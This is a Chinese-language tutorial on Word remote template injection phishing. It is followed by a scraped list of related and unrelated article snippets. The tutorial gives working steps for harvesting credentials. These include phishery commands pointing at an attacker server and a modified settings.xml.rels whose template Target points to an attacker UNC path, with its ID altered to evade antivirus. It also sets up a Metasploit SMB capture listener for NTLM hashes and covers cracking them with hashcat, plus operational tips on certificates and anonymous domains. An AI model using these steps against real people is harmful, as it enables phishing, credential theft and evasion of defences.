Word模板注入攻击

0x00 工具准备

phishery:https://github.com/ryhanson/phishery/releases

office版本:office 2010

0x01 什么是Word模板注入攻击

Word模板注入攻击就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方式,来盗取他的各类账号密码

0x02 通过远程模板注入盗取目标的各类普通账号密码

1、创建一个docx格式的word文件作为模板源文件,并编辑好文档内容

2、利用模板源文件(test.docx)生成真正的钓鱼文件

用到的工具为phishery,文档开头已提供下载链接(有多个平台的版本,此处用的linux下,在kali里操作的)

2.1 将test.docx放到工具phishery的目录下

2.2 执行以下命令生成真正的钓鱼文件

 ./phishery -u https://192.168.3.29/pass -i phishery.docx -o getpwd.docx
# 此处务必要注意,必须用 https 证书,都在当前目录下

2.3 修改生成的钓鱼文件的权限

chmod 777 getpwd.docx

3、启动phishery服务端(模拟web服务器)

phishery会用当前目录下的setting.json文件中的参数和证书作为默认配置,将记录到的账号密码放在credentials.json中

./phishery
cat credentials.json

4、将钓鱼文件getpwd.docx发送给目标

4.1 目标一点开文件就会弹出一个证书警告框,这一步很关键,只要用户选择了"是",我们的钓鱼文件就会自动去连接远程服务器并弹出基础认证钓鱼框,当目标输完账号以后就会被发送到我们自己的 smb 服务器上

4.2 当目标在弹出的登录框输入内容过后,回到攻击者的kali上,发现目标输入的账号密码都已经被记录

0x03 通过远程模板注入盗取目标系统用户密码的ntlm hash

1、修改之前生成的getpwd.docx解压出来的settings.xml.rels文件

1.1 将docx的文件后缀格式改为压缩文件的格式,如zip,然后将文件解压,找到word\_rels文件

1.2 编辑 settings.xml.rels,如下,定位到 Target 参数,将其改为 smb 的请求方式[即 UNC 路径],同时也可以尝试把 id[工具的敏感特征]改掉,以此躲避某些杀软

原来的:

更改的:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://192.168.175.137/" Tar getMode="External"/>
</Relationships>

2、修改好之后将之前解压出来的文件全部重新打包,并将后缀名字改回docx

2.1 全部重新打包为zip格式的压缩包

2.2 将打包好的压缩包的后缀更改为docx

3、回到攻击机kali上,打开msf,启动smb监听,将后续收到的hash都存到passwd中

msf > use auxiliary/server/capture/smb
msf > set srvhost 192.168.3.29
msf > set johnpwfile passwd
msf > exploit

4、将制作好的钓鱼文件getpwd发送给目标,当目标打开文件,攻击者便可以获取到他当前系统用户的密码hash

4.1 打开钓鱼文件,目标这里没有任何提示弹窗

4.2 再回到攻击机,发现目标用户系统的hash已经获取到了

4.3 最后,只需要把这些 hash 丢到 hashcat 里去跑就行了

0x05 关于实际利用过程中的一些注意事项

  • 需要一个靠谱的证书
  • 一个靠谱高匿的域名
  • 这种攻击方式的好处在于它并不依赖目标所使用的操作系统,完全依靠 word 自身特性来完成,所以有更强的适应性

0x06 来源

《Word 模版注入攻击详细利用过程 》--By Klion

Word模板注入攻击的更多相关文章

  1. Word 模板注入

      要实现word模板注入,需要一个被注入的文档,以及一个注入用的模板. 1.创建一个启用宏的模板   打开word,alt+f8创建编辑宏,在Project->Microsoft Word对象 ...

  2. Office RTF远程模板注入

    远程模板插入   ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加.之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh).   相 ...

  3. SQL注入攻击的常见方式及测试方法

    本文主要针对SQL注入的含义.以及如何进行SQL注入和如何预防SQL注入让小伙伴有个了解.适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录.发布等模块的SQL攻击漏洞,至于如何预 ...

  4. Java Filter防止sql注入攻击

    原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使用拼接字符串,案例:某个网站的登入验证的SQ ...

  5. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  6. web攻击之三:SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  7. Django是如何防止注入攻击-XSS攻击-CSRF攻击

    注入攻击-XSS攻击-CSRF攻击介绍请访问:https://www.cnblogs.com/hwnzy/p/11219475.html Django防止注入攻击 Django提供一个抽象的模型层来组 ...

  8. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  9. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

随机推荐

  1. vue小案例--简易评论区

    一.小案例(评论区) 1.流程 (1)分析静态页面.(vue项目创建参考https://www.cnblogs.com/l-y-h/p/11241503.html)(2)拆分静态页面,变成一个个组件. ...

  2. choose Perseverance :)

    心里话 很久都没有更新博客了,我会陆陆续续的把云笔记中的一些有意思的文章放在博客中. 这10个月以来经历了很多,9月份参加了省赛获得了一个二等奖,和一等奖失之交臂的滋味很难受,到10月份开始维护自己的 ...

  3. 应用DEV第三方界面控件制作批量添加水印程序

    本次应用DevExpress和C#语言制作了一个批量添加水印的程序,看界面效果图: 界面中既可以进行文字水印添加,也可以图片水印添加,同时还可以对水印的位置进行设置,比较实用! 文字水印的具体添加情况 ...

  4. zhy2_rehat6_mysql01 - 二进制5.7.txt

    mysql 5.7版本的二进制安装方法 export LANG=en_US Centos7 X64 注意:安装完centos7 后,linux需要指定新建一个用户,要求密码强度很高,才能通过,安装系统 ...

  5. Linux—文件管理

    文件操作 创建文件 [root@localhost ~]# touch a.txt # 创建单个文件 [root@localhost ~]# touch b.txt c.txt # 创建多个文件 删除 ...

  6. Docker容器数据卷介绍和命令

    是什么 一句话:有点类似我们Redis里面的rdb和aof文件 先来看看Docker的理念: *  将运用与运行的环境打包形成容器运行 ,运行可以伴随着容器,但是我们对数据的要求希望是持久化的 *   ...

  7. optix之纹理使用

    1.在OpenGL中生成纹理texture optix中的纹理直接使用OpenGL纹理的id,不能跨越OpenGL纹理,所以我们先在OpenGL环境下生成一张纹理. 这个过程就很熟悉了: void W ...

  8. JUC-9-线程按序交替

    package com.wf.zhang.juc; import java.util.concurrent.locks.Condition; import java.util.concurrent.l ...

  9. Centos7更新阿里云的yum源

    1.进入yum文件夹 cd /etc/yum.repos.d/ 2.下载阿里云源 wget "http://mirrors.aliyun.com/repo/Centos-7.repo&quo ...

  10. JAVA实现二维码生成加背景图

    pom.xml依赖 <!-- 二维码生成 -->         <!-- https://mvnrepository.com/artifact/com.google.zxing/c ...